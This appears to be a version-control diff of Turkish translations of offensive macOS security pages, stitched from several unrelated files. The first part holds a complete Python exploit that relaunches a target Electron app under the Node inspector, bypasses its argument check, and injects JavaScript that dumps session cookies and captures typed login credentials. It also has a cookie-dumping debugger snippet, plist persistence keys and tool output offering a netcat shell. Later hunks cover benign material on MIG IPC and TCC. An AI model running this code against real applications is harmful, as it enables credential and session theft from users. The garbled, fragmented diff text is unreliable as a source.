> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır).
|
||||
In [**bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama, başsız bir chrome'un **rastgele dosyaları rastgele konumlara indirmesi** için kötüye kullanılıyor.
|
||||
|
||||
Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya şöyle basit bir script kullanabilirsiniz:
|
||||
> [!TIP]
|
||||
> Eğer bir uygulama, `--inspect` gibi env değişkenlerinin veya parametrelerin ayarlanıp ayarlanmadığını kontrol etmenin kendi özel yoluna sahipse, `--inspect-brk` argümanını kullanarak bunu çalışma zamanında **bypass** etmeyi deneyebilirsiniz; bu, uygulamanın başında **çalışmayı durduracak** ve bir bypass gerçekleştirecektir (örneğin, mevcut sürecin argümanlarını veya env değişkenlerini geçersiz kılmak).
|
||||
|
||||
Aşağıdaki, uygulamayı `--inspect-brk` parametresi ile izleyip çalıştırarak, sahip olduğu özel korumayı (parametreleri `--inspect-brk`'yi kaldıracak şekilde geçersiz kılmak) aşmanın mümkün olduğu bir istismardı ve ardından uygulamadan çerezleri ve kimlik bilgilerini dökmek için bir JS yükü enjekte edildi:
|
||||
```python
|
||||
import asyncio
|
||||
import websockets
|
||||
import json
|
||||
import requests
|
||||
import os
|
||||
import psutil
|
||||
from time import sleep
|
||||
|
||||
INSPECT_URL = None
|
||||
CONT = 0
|
||||
CONTEXT_ID = None
|
||||
NAME = None
|
||||
UNIQUE_ID = None
|
||||
|
||||
JS_PAYLOADS = """
|
||||
var { webContents } = require('electron');
|
||||
var fs = require('fs');
|
||||
|
||||
var wc = webContents.getAllWebContents()[0]
|
||||
|
||||
|
||||
function writeToFile(filePath, content) {
|
||||
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
|
||||
|
||||
fs.writeFile(filePath, data, (err) => {
|
||||
if (err) {
|
||||
console.error(`Error writing to file ${filePath}:`, err);
|
||||
} else {
|
||||
console.log(`File written successfully at ${filePath}`);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function get_cookies() {
|
||||
intervalIdCookies = setInterval(() => {
|
||||
console.log("Checking cookies...");
|
||||
wc.session.cookies.get({})
|
||||
.then((cookies) => {
|
||||
tokenCookie = cookies.find(cookie => cookie.name === "token");
|
||||
if (tokenCookie){
|
||||
writeToFile("/tmp/cookies.txt", cookies);
|
||||
clearInterval(intervalIdCookies);
|
||||
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
|
||||
}
|
||||
})
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
function get_creds() {
|
||||
in_location = false;
|
||||
intervalIdCreds = setInterval(() => {
|
||||
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
|
||||
in_location = true;
|
||||
console.log("Injecting creds logger...");
|
||||
wc.executeJavaScript(`
|
||||
(function() {
|
||||
email = document.getElementById('login_email_id');
|
||||
password = document.getElementById('login_password_id');
|
||||
if (password && email) {
|
||||
return email.value+":"+password.value;
|
||||
}
|
||||
})();
|
||||
`).then(result => {
|
||||
writeToFile("/tmp/victim_credentials.txt", result);
|
||||
})
|
||||
}
|
||||
else if (in_location) {
|
||||
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
|
||||
clearInterval(intervalIdCreds);
|
||||
}
|
||||
}, 10); // Check every 10ms
|
||||
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
|
||||
}
|
||||
|
||||
get_cookies();
|
||||
get_creds();
|
||||
console.log("Payloads injected");
|
||||
"""
|
||||
|
||||
async def get_debugger_url():
|
||||
"""
|
||||
Fetch the local inspector's WebSocket URL from the JSON endpoint.
|
||||
Assumes there's exactly one debug target.
|
||||
"""
|
||||
global INSPECT_URL
|
||||
|
||||
url = "http://127.0.0.1:9229/json"
|
||||
response = requests.get(url)
|
||||
data = response.json()
|
||||
if not data:
|
||||
raise RuntimeError("No debug targets found on port 9229.")
|
||||
# data[0] should contain an object with "webSocketDebuggerUrl"
|
||||
ws_url = data[0].get("webSocketDebuggerUrl")
|
||||
if not ws_url:
|
||||
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
|
||||
INSPECT_URL = ws_url
|
||||
|
||||
|
||||
async def monitor_victim():
|
||||
print("Monitoring victim process...")
|
||||
found = False
|
||||
while not found:
|
||||
sleep(1) # Check every second
|
||||
for process in psutil.process_iter(attrs=['pid', 'name']):
|
||||
try:
|
||||
# Check if the process name contains "victim"
|
||||
if process.info['name'] and 'victim' in process.info['name']:
|
||||
found = True
|
||||
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
|
||||
os.kill(process.info['pid'], 9) # Force kill the process
|
||||
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
|
||||
# Handle processes that might have terminated or are inaccessible
|
||||
pass
|
||||
os.system("open /Applications/victim.app --args --inspect-brk")
|
||||
|
||||
async def bypass_protections():
|
||||
global CONTEXT_ID, NAME, UNIQUE_ID
|
||||
print(f"Connecting to {INSPECT_URL} ...")
|
||||
|
||||
async with websockets.connect(INSPECT_URL) as ws:
|
||||
data = await send_cmd(ws, "Runtime.enable", get_first=True)
|
||||
CONTEXT_ID = data["params"]["context"]["id"]
|
||||
NAME = data["params"]["context"]["name"]
|
||||
UNIQUE_ID = data["params"]["context"]["uniqueId"]
|
||||
|
||||
sleep(1)
|
||||
|
||||
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
|
||||
|
||||
await send_cmd(ws, "Profiler.enable")
|
||||
|
||||
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
|
||||
|
||||
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
|
||||
|
||||
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
|
||||
|
||||
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
|
||||
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
|
||||
print("Injected code to bypass protections")
|
||||
|
||||
|
||||
async def js_payloads():
|
||||
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
|
||||
|
||||
print(f"Connecting to {INSPECT_URL} ...")
|
||||
|
||||
async with websockets.connect(INSPECT_URL) as ws:
|
||||
data = await send_cmd(ws, "Runtime.enable", get_first=True)
|
||||
CONTEXT_ID = data["params"]["context"]["id"]
|
||||
NAME = data["params"]["context"]["name"]
|
||||
UNIQUE_ID = data["params"]["context"]["uniqueId"]
|
||||
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
|
||||
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
|
||||
|
||||
|
||||
|
||||
async def main():
|
||||
await monitor_victim()
|
||||
sleep(3)
|
||||
await get_debugger_url()
|
||||
await bypass_protections()
|
||||
|
||||
sleep(7)
|
||||
|
||||
await js_payloads()
|
||||
|
||||
|
||||
|
||||
async def send_cmd(ws, method, get_first=False, params={}):
|
||||
"""
|
||||
Send a command to the inspector and read until we get a response with matching "id".
|
||||
"""
|
||||
global CONT
|
||||
|
||||
CONT += 1
|
||||
|
||||
# Send the command
|
||||
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
|
||||
sleep(0.4)
|
||||
|
||||
# Read messages until we get our command result
|
||||
while True:
|
||||
response = await ws.recv()
|
||||
data = json.loads(response)
|
||||
|
||||
# Print for debugging
|
||||
print(f"[{method} / {CONT}] ->", data)
|
||||
|
||||
if get_first:
|
||||
return data
|
||||
|
||||
# If this message is a response to our command (by matching "id"), break
|
||||
if data.get("id") == CONT:
|
||||
return data
|
||||
|
||||
# Otherwise it's an event or unrelated message; keep reading
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa.
|
||||
>
|
||||
> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalabilirsiniz, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır).
|
||||
|
||||
Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir script kullanabilirsiniz:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
@ -167,11 +375,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
Bu [**blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama, başsız bir chrome'un **rastgele dosyaları rastgele konumlara indirmesi** için kötüye kullanılıyor.
|
||||
### Injection from the App Plist
|
||||
|
||||
### Uygulama Plist'inden Enjeksiyon
|
||||
|
||||
Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
|
||||
Bu env değişkenini bir plist içinde kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
@ -193,11 +399,13 @@ Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlama
|
||||
## JS Dışı Kod Çalıştırma
|
||||
|
||||
Önceki teknikler, **electron uygulamasının sürecinde JS kodu çalıştırmanıza** izin verecektir. Ancak, **çocuk süreçlerin ana uygulama ile aynı sandbox profilinde çalıştığını** ve **TCC izinlerini miras aldığını** unutmayın.\
|
||||
Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, sadece **süreçten başka bir ikili dosya çalıştırabilirsiniz**.
|
||||
Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, **süreçten başka bir ikili dosya çalıştırabilirsiniz**.
|
||||
|
||||
## Otomatik Enjeksiyon
|
||||
|
||||
[**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, **kurulu savunmasız electron uygulamalarını bulmak** ve bunlara kod enjekte etmek için kolayca kullanılabilir. Bu araç, **`--inspect`** tekniğini kullanmaya çalışacaktır:
|
||||
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
|
||||
|
||||
Araç [**electroniz3r**](https://github.com/r3ggi/electroniz3r), **kurulu savunmasız electron uygulamalarını bulmak** ve bunlara kod enjekte etmek için kolayca kullanılabilir. Bu araç, **`--inspect`** tekniğini kullanmaya çalışacaktır:
|
||||
|
||||
Kendiniz derlemeniz gerekiyor ve bunu şu şekilde kullanabilirsiniz:
|
||||
```bash
|
||||
@ -235,7 +443,12 @@ You can now kill the app using `kill -9 57739`
|
||||
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
|
||||
Shell binding requested. Check `nc 127.0.0.1 12345`
|
||||
```
|
||||
## Referanslar
|
||||
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
|
||||
|
||||
Loki, Electron uygulamalarını arka kapı ile ele geçirmek için uygulamaların JavaScript dosyalarını Loki Komut ve Kontrol JavaScript dosyaları ile değiştirmek üzere tasarlandı.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)
|
||||
|
||||
@ -10,12 +10,12 @@ Tanım, `.defs` uzantısını kullanarak Arayüz Tanım Dili (IDL) ile belirtili
|
||||
|
||||
Bu tanımlar 5 bölümden oluşur:
|
||||
|
||||
- **Alt sistem bildirimi**: Alt sistem anahtar kelimesi, **isim** ve **kimlik** belirtmek için kullanılır. Ayrıca, sunucunun çekirdekte çalışması gerekiyorsa **`KernelServer`** olarak işaretlemek de mümkündür.
|
||||
- **Dahil etme ve içe aktarma**: MIG, C ön işleyicisini kullandığı için içe aktarmaları kullanabilir. Ayrıca, kullanıcı veya sunucu tarafından üretilen kodlar için `uimport` ve `simport` kullanmak da mümkündür.
|
||||
- **Alt sistem bildirimi**: Alt sistem anahtar kelimesi, **isim** ve **kimlik** belirtmek için kullanılır. Sunucunun çekirdek içinde çalışması gerekiyorsa **`KernelServer`** olarak işaretlemek de mümkündür.
|
||||
- **Dahil etme ve içe aktarma**: MIG, C ön işleyicisini kullandığı için içe aktarmaları kullanabilir. Ayrıca, kullanıcı veya sunucu tarafından üretilen kodlar için `uimport` ve `simport` kullanmak mümkündür.
|
||||
- **Tür bildirimleri**: Veri türlerini tanımlamak mümkündür, ancak genellikle `mach_types.defs` ve `std_types.defs` dosyalarını içe aktarır. Özel türler için bazı sözdizimleri kullanılabilir:
|
||||
- \[i`n/out]tran`: Gelen veya giden bir mesajdan çevrilmesi gereken işlev
|
||||
- \[i`n/out]tran`: Gelen veya giden bir mesajdan çevrilmesi gereken fonksiyon
|
||||
- `c[user/server]type`: Başka bir C türüne eşleme.
|
||||
- `destructor`: Tür serbest bırakıldığında bu işlevi çağırın.
|
||||
- `destructor`: Tür serbest bırakıldığında bu fonksiyonu çağır.
|
||||
- **İşlemler**: Bunlar RPC yöntemlerinin tanımlarıdır. 5 farklı tür vardır:
|
||||
- `routine`: Yanıt bekler
|
||||
- `simpleroutine`: Yanıt beklemez
|
||||
@ -25,7 +25,7 @@ Bu tanımlar 5 bölümden oluşur:
|
||||
|
||||
### Örnek
|
||||
|
||||
Bu durumda çok basit bir işlev ile bir tanım dosyası oluşturun:
|
||||
Bu durumda çok basit bir fonksiyon ile bir tanım dosyası oluşturun:
|
||||
```cpp:myipc.defs
|
||||
subsystem myipc 500; // Arbitrary name and id
|
||||
|
||||
@ -40,7 +40,7 @@ server_port : mach_port_t;
|
||||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
Not edin ki ilk **argüman bağlanacak porttur** ve MIG **yanıt portunu otomatik olarak yönetecektir** (müşteri kodunda `mig_get_reply_port()` çağrılmadıkça). Ayrıca, **işlemlerin ID'si** belirtilen alt sistem ID'sinden başlayarak **sıralı** olacaktır (yani bir işlem geçersiz kılındığında silinir ve ID'sini hala kullanmak için `skip` kullanılır).
|
||||
Not edin ki ilk **argüman bağlanacak porttur** ve MIG **yanıt portunu otomatik olarak yönetecektir** (müşteri kodunda `mig_get_reply_port()` çağrılmadığı sürece). Ayrıca, **işlemlerin ID'si** belirtilen alt sistem ID'sinden **sıralı** olarak başlayacaktır (yani bir işlem geçersiz kılındığında silinir ve ID'sini hala kullanmak için `skip` kullanılır).
|
||||
|
||||
Şimdi MIG'i kullanarak birbirleriyle iletişim kurabilecek sunucu ve istemci kodunu oluşturun ve Çıkarma fonksiyonunu çağırın:
|
||||
```bash
|
||||
@ -50,7 +50,7 @@ Mevcut dizinde birkaç yeni dosya oluşturulacaktır.
|
||||
|
||||
> [!TIP]
|
||||
> Daha karmaşık bir örneği sisteminizde bulabilirsiniz: `mdfind mach_port.defs`\
|
||||
> Ve dosya ile aynı klasörden derleyebilirsiniz: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
|
||||
> Ve dosyanın bulunduğu klasörden derleyebilirsiniz: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
|
||||
|
||||
Dosyalarda **`myipcServer.c`** ve **`myipcServer.h`** **`SERVERPREFmyipc_subsystem`** yapısının beyanını ve tanımını bulabilirsiniz; bu yapı, alınan mesaj ID'sine dayalı olarak çağrılacak fonksiyonu tanımlar (başlangıç numarası olarak 500 belirttik):
|
||||
|
||||
@ -89,7 +89,7 @@ routine[1];
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Önceki yapıya dayanarak **`myipc_server_routine`** fonksiyonu **mesaj ID'sini** alacak ve çağrılacak uygun fonksiyonu döndürecektir:
|
||||
Önceki yapıya dayanarak, **`myipc_server_routine`** fonksiyonu **mesaj ID'sini** alacak ve çağrılacak uygun fonksiyonu döndürecektir:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
@ -104,18 +104,18 @@ return 0;
|
||||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
Bu örnekte tanımlarda yalnızca 1 fonksiyon tanımlamışız, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisi içinde yer alırdı ve ilki ID **500**'e, ikincisi ID **501**'e atanırdı...
|
||||
Bu örnekte tanımlamalarda yalnızca 1 fonksiyon tanımlamışız, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisi içinde yer alırdı ve ilki ID **500**'e, ikincisi ID **501**'e atanırdı...
|
||||
|
||||
Fonksiyonun bir **reply** göndermesi bekleniyorsa, `mig_internal kern_return_t __MIG_check__Reply__<name>` fonksiyonu da mevcut olurdu.
|
||||
|
||||
Aslında, bu ilişkiyi **`myipcServer.h`** içindeki **`subsystem_to_name_map_myipc`** yapısında tanımlamak mümkündür (**`subsystem*to_name_map*\***`\*\* diğer dosyalarda):
|
||||
Aslında, bu ilişkiyi **`myipcServer.h`** içindeki **`subsystem_to_name_map_myipc`** yapısında tanımlamak mümkündür (**`subsystem*to_name_map*\***`** diğer dosyalarda):
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Son olarak, sunucunun çalışmasını sağlamak için önemli bir başka işlev **`myipc_server`** olacaktır; bu, alınan kimlikle ilgili **işlevi çağıracak** olanıdır:
|
||||
Son olarak, sunucunun çalışmasını sağlamak için önemli bir başka işlev **`myipc_server`** olacaktır; bu, alınan id ile ilgili **işlevi çağıracak** olanıdır:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
@ -217,11 +217,11 @@ USERPREFSubtract(port, 40, 2);
|
||||
|
||||
### NDR_record
|
||||
|
||||
NDR_record, `libsystem_kernel.dylib` tarafından dışa aktarılır ve MIG'in **verileri sistemden bağımsız hale getirmesine** olanak tanıyan bir yapıdır; çünkü MIG'in farklı sistemler arasında (sadece aynı makinede değil) kullanılacağı düşünülmüştür.
|
||||
NDR_record, `libsystem_kernel.dylib` tarafından dışa aktarılır ve MIG'in **verileri sistemden bağımsız hale getirmesine** olanak tanıyan bir yapıdır; çünkü MIG'in farklı sistemler arasında (sadece aynı makinede değil) kullanılmak üzere tasarlandığı düşünülmektedir.
|
||||
|
||||
Bu ilginçtir çünkü bir ikili dosyada `_NDR_record` bir bağımlılık olarak bulunursa (`jtool2 -S <binary> | grep NDR` veya `nm`), bu, ikili dosyanın bir MIG istemcisi veya sunucusu olduğu anlamına gelir.
|
||||
Bu ilginçtir çünkü eğer bir ikili dosyada `_NDR_record` bir bağımlılık olarak bulunursa (`jtool2 -S <binary> | grep NDR` veya `nm`), bu, ikili dosyanın bir MIG istemcisi veya sunucusu olduğu anlamına gelir.
|
||||
|
||||
Ayrıca **MIG sunucuları**, `__DATA.__const` içinde (veya macOS çekirdeğinde `__CONST.__constdata` ve diğer \*OS çekirdeklerinde `__DATA_CONST.__const` içinde) dağıtım tablosuna sahiptir. Bu, **`jtool2`** ile dökülebilir.
|
||||
Ayrıca **MIG sunucuları**, `__DATA.__const` içinde (veya macOS çekirdeğinde `__CONST.__constdata` ve diğer \*OS çekirdeklerinde `__DATA_CONST.__const`) dağıtım tablosuna sahiptir. Bu, **`jtool2`** ile dökülebilir.
|
||||
|
||||
Ve **MIG istemcileri**, sunuculara `__mach_msg` ile göndermek için `__NDR_record` kullanacaktır.
|
||||
|
||||
@ -235,13 +235,13 @@ Birçok ikili dosya artık mach portlarını açmak için MIG kullanıyorsa, **M
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Ayrıca, MIG fonksiyonları çağrılan gerçek fonksiyonların sadece sarmalayıcılarıdır, bu da demektir ki, onun ayrıştırmasını alıp BL için arama yaparsanız, çağrılan gerçek fonksiyonu bulabilirsiniz:
|
||||
Ayrıca, MIG fonksiyonları çağrılan gerçek fonksiyonların sadece sarmalayıcılarıdır, bu da demektir ki, onun ayrıştırmasını alıp BL için grep yaparsanız, çağrılan gerçek fonksiyonu bulabilirsiniz:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep BL
|
||||
```
|
||||
### Assembly
|
||||
|
||||
Daha önce, **gelen mesaj ID'sine bağlı olarak doğru fonksiyonu çağıracak olan** fonksiyonun `myipc_server` olduğu belirtilmişti. Ancak, genellikle ikili dosyanın sembollerine (fonksiyon isimlerine) sahip olmayacaksınız, bu yüzden **dekompile edilmiş halinin nasıl göründüğünü kontrol etmek ilginçtir** çünkü bu fonksiyonun kodu, sergilenen fonksiyonlardan bağımsızdır:
|
||||
Daha önce, **gelen mesaj ID'sine bağlı olarak doğru fonksiyonu çağıracak olan** fonksiyonun `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembollerine (fonksiyon isimlerine) sahip olmayacaksınız, bu nedenle **dekompile edilmiş halinin nasıl göründüğünü kontrol etmek ilginçtir** çünkü bu fonksiyonun kodu, sergilenen fonksiyonlardan bağımsız olarak her zaman çok benzer olacaktır:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="myipc_server decompiled 1"}}
|
||||
@ -258,13 +258,13 @@ var_18 = arg1;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// sign_extend_64 çağrısı, bu fonksiyonu tanımlamaya yardımcı olabilir
|
||||
// Bu, rax'ta çağrılması gereken işaretçiyi saklar
|
||||
// 0x100004040 adresinin kullanımı kontrol edilir (fonksiyon adresleri dizisi)
|
||||
// Bu fonksiyonu tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
|
||||
// Bu, rax'ta çağrılması gereken çağrının işaretçisini saklar
|
||||
// 0x100004040 adresinin kullanıldığını kontrol et (fonksiyon adresleri dizisi)
|
||||
// 0x1f4 = 500 (başlangıç ID'si)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// If - else, if false dönerken, else doğru fonksiyonu çağırır ve true döner
|
||||
// Eğer - else, if false dönerken, else doğru fonksiyonu çağırır ve true döner
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
@ -333,7 +333,7 @@ r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Önceki versiyondakiyle aynı if else
|
||||
// 0x100004040 adresinin kullanımı kontrol edilir (fonksiyon adresleri dizisi)
|
||||
// 0x100004040 adresinin kullanıldığını kontrol et (fonksiyon adresleri dizisi)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
@ -365,17 +365,17 @@ return r0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Aslında, **`0x100004000`** fonksiyonuna giderseniz, **`routine_descriptor`** yapıların dizisini bulacaksınız. Yapının ilk elemanı, **fonksiyonun** uygulandığı **adres** ve **yapı 0x28 byte** alır, bu yüzden her 0x28 byte'tan (byte 0'dan başlayarak) 8 byte alarak, çağrılacak **fonksiyonun adresini** elde edebilirsiniz:
|
||||
Aslında **`0x100004000`** fonksiyonuna giderseniz, **`routine_descriptor`** yapıların dizisini bulacaksınız. Yapının ilk elemanı, **fonksiyonun** uygulandığı **adres** ve **yapı 0x28 bayt** alır, bu nedenle her 0x28 bayt (0. bayttan başlayarak) 8 bayt alabilir ve bu, çağrılacak **fonksiyonun adresi** olacaktır:
|
||||
|
||||
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (36).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu veriler, [**bu Hopper script'i kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
|
||||
Bu veriler [**bu Hopper scriptini kullanarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
|
||||
|
||||
### Debug
|
||||
|
||||
MIG tarafından üretilen kod ayrıca giriş ve çıkış işlemleri hakkında günlükler oluşturmak için `kernel_debug` çağrısını yapar. Bunları **`trace`** veya **`kdv`** kullanarak kontrol etmek mümkündür: `kdv all | grep MIG`
|
||||
MIG tarafından üretilen kod ayrıca giriş ve çıkış işlemleri hakkında günlükler oluşturmak için `kernel_debug` çağrısını da yapar. Bunları **`trace`** veya **`kdv`** kullanarak kontrol etmek mümkündür: `kdv all | grep MIG`
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
**TCC (Şeffaflık, Onay ve Kontrol)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel rolü, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. TCC, bu unsurlara uygulama erişimi vermeden önce açık kullanıcı onayı talep ederek, gizliliği ve kullanıcıların verileri üzerindeki kontrolünü artırır.
|
||||
|
||||
Kullanıcılar, uygulamalar korunan özelliklere erişim talep ettiğinde TCC ile karşılaşır. Bu, kullanıcılara **erişimi onaylama veya reddetme** imkanı sunan bir istem aracılığıyla görünür. Ayrıca, TCC, belirli dosyalara erişim vermek için **bir uygulamaya dosyaları sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler; bu sayede uygulamalar yalnızca açıkça izin verilenlere erişim sağlar.
|
||||
Kullanıcılar, uygulamalar korunan özelliklere erişim talep ettiğinde TCC ile karşılaşır. Bu, kullanıcılara **erişimi onaylama veya reddetme** imkanı sunan bir istem aracılığıyla görünür. Ayrıca, TCC, belirli dosyalara erişim vermek için **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler; bu sayede uygulamalar yalnızca açıkça izin verilenlere erişim sağlar.
|
||||
|
||||

|
||||
|
||||
@ -26,23 +26,23 @@ ps -ef | grep tcc
|
||||
|
||||
İzinler/retler daha sonra bazı TCC veritabanlarında saklanır:
|
||||
|
||||
- **`/Library/Application Support/com.apple.TCC/TCC.db`** içindeki sistem genelindeki veritabanı.
|
||||
- Bu veritabanı **SIP korumalıdır**, bu nedenle yalnızca bir SIP bypass'ı içine yazabilir.
|
||||
- Sistem genelindeki veritabanı **`/Library/Application Support/com.apple.TCC/TCC.db`** .
|
||||
- Bu veritabanı **SIP korumalıdır**, bu nedenle yalnızca bir SIP bypass'ı buna yazabilir.
|
||||
- Kullanıcı TCC veritabanı **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** her kullanıcı için tercihleri saklar.
|
||||
- Bu veritabanı korumalıdır, bu nedenle yalnızca Full Disk Access gibi yüksek TCC ayrıcalıklarına sahip süreçler içine yazabilir (ancak SIP tarafından korunmaz).
|
||||
- Bu veritabanı korunmaktadır, bu nedenle yalnızca Full Disk Access gibi yüksek TCC ayrıcalıklarına sahip süreçler buna yazabilir (ancak SIP tarafından korunmaz).
|
||||
|
||||
> [!WARNING]
|
||||
